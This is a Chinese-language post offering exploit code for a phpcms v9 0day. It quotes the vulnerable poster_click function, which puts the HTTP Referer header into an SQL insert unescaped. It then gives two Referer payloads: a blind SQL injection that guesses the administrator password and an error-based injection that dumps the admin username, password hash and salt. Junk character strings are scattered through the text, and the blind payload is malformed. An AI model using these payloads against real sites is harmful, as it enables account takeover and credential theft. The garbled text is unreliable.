phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
3 k- X/ G- }8 y5 u
问题函数\phpcms\modules\poster\index.php

4 A; `) \! v7 }, G0 X( tpublic function poster_click() {
5 h2 h" ?' j* e& k# o+ k$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 M9 a" ?& t' E" O9 X8 ^) X$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
" N) Y4 h# m+ W* I. Tif($id) {
! Y# W! {- t* S7 M$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ }# K5 A5 Q6 L) ]" m! P$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
. I5 F3 x# k  o+ }$ q}
5 E2 G. x4 y  P" j. {' z$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
. A$ Y( O. f) d* z2 e$setting = string2array($r['setting']);
* U* T& l1 G$ K1 H9 d7 aif (count($setting)==1) {
! z5 x, o- B' A2 c& F$url = $setting['1']['linkurl'];
+ ?" o) c- o4 ]5 h} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
- Z3 ], P7 \! theader('Location: '.$url);
}

7 w3 m! C& ~# F. R3 }, Y8 d4 P
' U$ S8 a! l/ J* v1 a5 ^, S4 N利用方式：
2 k7 V1 x+ E# j
! O- ~& a8 _: u0 Y8 h3 U1、可以采用盲注入的手法：
/ ?: p+ M, e* s: y+ W1 `. w
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

. v) m# J6 D2 |! `4 M& @* ^5 l2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
/ Q5 O! r) z1 O6 w" k3 a& k
此方法是爆错注入手法，原理自查。
